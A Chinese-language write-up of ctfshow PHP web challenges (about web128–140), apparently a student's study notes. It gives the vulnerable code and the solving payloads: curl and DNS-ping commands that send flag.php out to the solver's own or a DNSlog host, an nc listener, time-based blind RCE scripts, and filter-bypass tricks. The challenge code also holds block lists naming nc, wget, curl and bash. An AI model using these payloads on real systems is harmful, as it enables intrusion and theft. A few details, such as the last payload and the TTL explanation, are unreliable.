return !preg_match('/[0-9]|[a-z]/i', $str);
}

(call_user_func这个函数之前介绍过,就是回调函数,第一个参数是函数名,第2个就是函数名的参数,看了半天不会

_()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll,那这个函数是干什么的呢

1
gettext(string $message): string

$message:你要翻译的文本(通常是原始文本,英文等)。

返回值:翻译后的字符串,如果没有找到翻译,则返回原始的 $message

所以我们用这个函数返回一个原始的字符串,然后让那个字符串也是一个函数,且能显示内容,再由最外面的var_dump出来

get_defined_vars() 是 PHP 的一个内置函数,用于返回当前作用域中所有已定义的变量的关联数组

语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$a = 10;
$b = "hello";
$result = get_defined_vars();
print_r($result);
//然后输出
Array
(
[a] => 10
[b] => hello
[_GET] => Array(...),
[_POST] => Array(...),
[_SERVER] => Array(...),
...
)

由于f1有正则,不能有字母,我们就用gettext() 函数的扩展模式_(),

1
f1=_&f2=get_defined_vars

image-20250406100916884

web129

1
2
3
4
5
6
7
8
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

stripos() 是 PHP 的一个内置函数,用于在一个字符串中查找另一个字符串的位置,不区分大小写

跟那个strpos函数差不多,这个条件就是要求我们的get中要求有ctfshow这个字符串

readfile() 是 PHP 的一个内置函数,用于 读取文件并输出到输出缓冲区(即将文件的内容直接输出到浏览器或终端)。它是 直接输出文件内容 的一种快捷方式

所以我们可以直接读取flag.php 但是由于要求有ctfshow字符串,所以我们可以先到ctfshow这个目录下,然后再返回上一级目录即可

./代表当前目录,之后查看源码就得到

1
f=./ctfshow/../flag.php

image-20250406105534124

我们也可以使用filter过滤器,利用php伪协议可以套一层协议,无效的话会被忽略

1
f=php://filter/ctfshow/resource=flag.php

我们也可以添加过滤器

1
f=php://filter/convert.base64-encode/ctfshow/resource=flag.php

web130

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}

第一个正则表达式意思是

.+?表示“匹配至少一个任意字符,但以非贪婪方式进行匹配”,也就是说它会匹配尽可能少的字符以便后面能够接上ctfshow

s 修饰符使得句点 . 能够匹配换行符,即把整个字符串视为一个整体,不受换行符影响

第2个条件则是需要出现ctfshow,看似有点矛盾,其实我们前面只要不加字符串,第一个正则就过掉了

1
f=ctfshow

当stripos应用于数组的时候会返回null,null!==false

1
f[]=1

image-20250406112004192

web131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

加了一个36D,那就不能用上面的方法了,不太会去看了wp

当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数

1
2
3
4
5
6
7
8
9
import requests

url = 'http://8cce46a9-80f0-45e7-9170-a16cc18f7dca.challenge.ctf.show/'
data = {
'f': 'very' * 250000 + '36Dctfshow'
}
r = requests.post(url=url, data=data).text

print(r)

注意这里http是不能有s的因为

如果目标服务器的 HTTPS 使用的是 自签名证书无效证书,Python 的 requests 库会抛出 SSLError,导致请求失败

image-20250406115605975

web132

打开是个网页

image-20250411092644306

刚好想到csd教我妙妙工具 disearch命令

Dirsearch是一个用于探测WEB服务器下的敏感文件/目录的命令行工具

	-h, --help                                 显示此帮助消息并退出

  Mandatory:
    -u URL, --url=URL                        URL目标
	-L URLLIST, --url-list=URLLIST           URL列表目标
                    
	-e EXTENSIONS, --extensions=EXTENSIONS   以逗号分隔的扩展列表(示例:php、asp)
                    
	-E, --extensions-list                    使用公共扩展的预定义列表 
 Dictionary Settings:
    -w WORDLIST, --wordlist=WORDLIST         自定义单词表(用逗号分隔)
    -l, --lowercase
    -f, --force-extensions                   强制扩展每个单词表条目(如DirBuster)

  常规设置:
    -s DELAY, --delay=DELAY                  请求之间的延迟(浮点数)
	-r, --recursive                          递归暴力

	-R RECURSIVE_LEVEL_MAX, --recursive-level-max=RECURSIVE_LEVEL_MAX  最大递归级别(子目录)(默认值:1[仅限根目录+1目录])
                    
	--suppress-empty, --suppress-empty
	--scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS              扫描给定-u |--url的子目录(分开逗号)
                    
	--exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS  在递归过程中排除下列子目录扫描(用逗号分隔)
                    
	-t THREADSCOUNT, --threads=THREADSCOUNT                            线程数
                    
	-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES         排除状态代码,用逗号分隔(例如:301,500个)
                    
	--exclude-texts=EXCLUDETEXTS                                       用逗号分隔的文本排除响应(示例: "Not found", "Error")
                    
	--exclude-regexps=EXCLUDEREGEXPS         按regexp排除响应,用逗号分隔(示例:"Not foun[a-z]{1}", "^Error$")
                    
	-c COOKIE, --cookie=COOKIE

	--ua=USERAGENT, --user-agent=USERAGENT   用户代理
     
	-F, --follow-redirects                   --遵循重定向
     
	-H HEADERS, --header=HEADERS 页眉,--页眉=页眉     
    要添加的标题 (example: --header "Referer:example.com" --header "User-Agent: IE")
                    
	--random-agents, --random-user-agents    随机代理,--随机用户代理
	连接设置:
    --timeout=TIMEOUT                        连接超时
    --ip=IP                                  将名称解析为
1
sudo dirsearch -u https://109d4725-fab7-4edc-a141-30d6c5564175.challenge.ctf.show/

使用命令扫描

image-20250411093235747

发现admin于是直接访问

image-20250411093258814

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。

该函数是产生随机值的更好选择,返回结果的速度是 rand() 函数的 4 倍。

如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 mt_rand (10,100)

运算符优先级:在 PHP 中,&& 的优先级高于 ||,所以说满足if条件需要满足前面两个共同成立,或者后面一个成立就可以了,所以我们构造payload时,只需满足后面的就可以了

1
username=admin&code=admin&password=12345

image-20250411093754458

web133

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

反引号(``)在 PHP 中是 shell_exec() 函数的缩写

它的作用是调用系统命令行,比如 ls, cat, whoami 等。

在 CTF、代码审计、漏洞分析中,经常用于发现 命令执行漏洞

看似像着是rce长度限制,先测试是否能写入文件

1
?f=`1`;

发现不能,那就不是长度限制rce,看了wp说是要用变量覆盖 ,反引号``是shell_exec()函数的缩写,然后就去命令执行,由于要是6个字符,所以我们构造后面的代码前得加个空格或者+号在前面

换句话说,加号在这里充当了一个“填充符”,确保经过 substr() 截取后的 6 个字符构成的字符串是一个合法的 PHP 表达式

先执行一下代码

1
F=`$F`;+sleep 10

发现能休眠10秒那就是对的,然后这上面还告诉你了个flag.php文件,于是我们可以用外带的办法,然后外带也是有两种方法的

第一种是利用bp的 Collaborator

image-20250411084459821

将生成的payload复制到剪贴板之后,使用curl命令

-F参数用来向服务器上传二进制文件 ,将文件flag.php 作为xx字段上传

由于我们知道这个环境中有个flag.php文件,于是我们使用-F参数上传

1
F=`$F`;+curl -F file=@flag.php http://你生成的payload

image-20250411085250760

当然也可以使用你自己的服务器,先让你的服务器监听一下端口

1
nc -lvp 你的端口

然后再使用一下命令

1
F=`$F`;+curl -F file=@flag.php http://服务器的ip地址:端口

image-20250411085604791

然后还有一种方法就是dnslog外带法

首先讲讲dns,这里用一个比较官方的解释吧,摘自百度百科:

DNS(域名解析):

域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。

而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping命令或者curl命令哈

然后这里推荐一个dnslog的利用平台:ceye http://ceye.io/,我个人觉得挺好用的,当然大佬们也可以选择自己搭,注册账号之后,会给一个域名,当发起的请求中含有这个域名时,平台就会有记录,[DNSLog Platform](http://www.dnslog.cn/)这个在线平台也是不错的

顺便将一下ping命令

在网络中ping是一个十分强大的TCP/IP工具。它的作用主要为:

1、用来检测网络的连通情况和分析网络速度

2、根据域名得到服务器IP

3、根据ping返回的TTL值来判断对方所使用的操作系统及数据包经过路由器数量

我们通常会用它来直接ping ip地址,来测试网络的连通情况

image-20250415212629068

bytes值:数据包大小,也就是字节。

time值:响应时间,这个时间越小,说明你连接这个地址速度越快。

TTL值:Time To Live,表示DNS记录在DNS服务器上存在的时间,它是IP协议包的一个值,告诉路由器该数据包何时需要被丢弃。可以通过Ping返回的TTL值大小,粗略地判断目标系统类型是Windows系列还是UNIX/Linux系列。

默认情况下,Linux系统的TTL值为64或255,WindowsNT/2000/XP系统的TTL值为128,Windows98系统的TTL值为32,UNIX主机的TTL值为255。

因此一般TTL值:

100~130ms之间,Windows系统 ;

240~255ms之间,UNIX/Linux系统

如果需要参数的讲解的话 ping 命令的用法大全(图文详解)_ping -l-CSDN博客

当这个题的ip地址,向下一层域名发起解析,就可以拿到数据

1
F=`$F`;+ping `cat flag.php|grep ctfshow(命令)`.g5ulkj.dnslog.cn -c 1

image-20250415212807219

web135

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

这题把curl都给curl也给禁掉了,那就只好用ping命令去外带了,但是不知道为啥dns外带实在带不出去真恶毒是醉了,这里先介绍一些命令

Linux awk 命令 | 菜鸟教程

1
2
3
4
5
6
7
8
9
10
11
awk: 
awk 是一种处理文本文件的语言,是一个强大的文本分析工具。
awk 通过提供编程语言的功能,如变量、数学运算、字符串处理等,使得对文本文件的分析和操作变得非常灵活和高效
打印整行:
awk '{print}' file
打印特定列
awk '{print $1, $2}' file
打印行数
awk '{print NR, $0}' file
打印行数满足条件的行
awk '/pattern/ {print NR, $0}' file

Linux tr命令 | 菜鸟教程

1
2
3
4
5
tr:
Linux tr 命令用于转换或删除文件中的字符
tr 指令从标准输入设备读取数据,经过字符串转译后,将结果输出到标准输出设备
-c:表示 取反,即保留所有不在指定字符集中的字符
-d:表示 删除,删除所有不在指定字符集中的字符

然后我们就用到payload

1
F=`$F`;+ping `nl flag.php | awk 'NR==16' | tr -cd 'a-zA-Z0-9-' `.你控制的域名

然后我先开始不懂为什么ping后面能接命令,于是我就去搜了一下,发现这其实是一种命令替换

命令替换有两种形式

1
2
1.使用美元符号和括号 $()
2.使用反引号 `

当你命令里面如果返回的是一个真实存在的主机,那么主机就会被解析成一个ip地址

如果返回的是一个信息的话,那么就用于信息回传或DNSlog的中转域

就例如返回的文本.yourdnslogdomain.com, DNS 系统就会向 DNSlog 平台发出解析请求,从而在 DNSlog 后台看到这条记录

然后这个NR是对于特定的行(flag 在多少行是需要不断尝试出来的)尝试出来是在15和16行,所以是要发包两次的

image-20250416171606063

image-20250416171632870

然后注意是要将字母都化为小写就可以了

web136

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

去搜了一下exec函数,这个是有两种情况的

在Linux下

exec 是一个内建的Unix/Linux shell命令,主要用于替换当前的shell或者脚本进程,并执行指定的命令1。在exec命令执行后,新的进程将会完全代替原来的进程。也就是说,新的进程并不是原来进程的子进程,而是原来进程的替代者,即抛弃子进程的数据,运行一个全新的程序

php下

1
2
3
4
5
6
7
exec (string command [, string array [, int return_var]])

// string command 命令行

// string array 命令行返回的所有结果,是个数组

// int return_var 命令运行结果,正常为 0,否则有错误。

执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二 个参数时,才可以用第三个参数,用来取得命令执行的状态码

说明exec函数是无回显的函数,说明题目的题型是无回显rce

再来解释一下tee命令

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件

由于.被过滤掉了,我们只能无后缀来写了

1
c=ls | tee 1

然后再访问1这个目录然后就会下载

image-20250416201541724

然后再一次下载

1
c=cat /f149_15_h3r3 | tee 2

image-20250416201642186

得到flag

web137

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}



call_user_func($_POST['ctfshow']);

没有任何过滤,所以我们直接用作用域限定符注入

1
ctfshow=ctfshow::getFlag

image-20250416203058935

web138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

这题比上题过滤了作用域限定符,由于源代码里面call_user_func函数是只有一个参数的,但是我们可以用数组形式的函数调用参数,使用ctfshow[]的写法,php会自动把同名字段合并成一个数组

因此我们构造payload

1
ctfshow[]=ctfshow&ctfshow[]=getFlag

就会等价于

1
$_POST['ctfshow'] = ['ctfshow', 'getFlag'];

也就等于我们上个题的效果

image-20250416204634825

web139

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

这题把那个下载的权限也给关了,然后dns也没了,然后又是无参的于是用盲注来解决,感觉盲注大部分都是sql用的多,盲注字面意思就是穷举来写,这边直接用别人呢写的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time
import string

str = string.ascii_letters + string.digits + '_~'
result = ""

for i in range(1, 10): # 行
key = 0
for j in range(1, 15): # 列
if key == 1:
break
for n in str:
# awk 'NR=={0}'逐行输出获取
# cut -c {1} 截取单个字符
payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)
# print(payload)
url = "http://d99509aa-d0f0-4900-9410-f00a3e9372de.challenge.ctf.show/?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5))
except:
result = result + n
print(result)
break
if n == '~':
key = 1
result += " "

print("Final result:", result)

就说先初始化字符集和结果变量,字符集里面包括了所有字母、数字、下划线和波浪符

然后用i进行外层循环,就是遍历目录文件的个数

用j进行内层循环,对文件名进行遍历

然后用n进行字符探测逻辑

用awd截取各文件的n行字符,然后用cut命令截取字符,用if、条件来进行判断是否为初始化字符集的,如果超时说明匹配成功,当字符 ~ 被遍历时,说明所有可能字符均未匹配,可能已到达文件名末尾,然后终止条件

image-20250417104648888

然后再将命令换成 cat /f149_15_h3r3 ,然后那个外层循环查找文件名的就不要了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"+"{"+"}"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://d99509aa-d0f0-4900-9410-f00a3e9372de.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break

image-20250417114711632

web140

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

意思是要f1和f2都是字母,这里需要f1和f2为两个函数,然后看到这个if条件这里,==为弱类型比较,这个’ctfshow’是一个字符,当他前面没有数字时就默认是0,所以我们只需要让intval($code)=0即可,然后我们用到的函数是strrev(字符串反转函数)

1
strrev() → strrev(null) = ""strlen("") = 0

所以payload

1
f1=strlen()&f2=strrev()

image-20250417115843639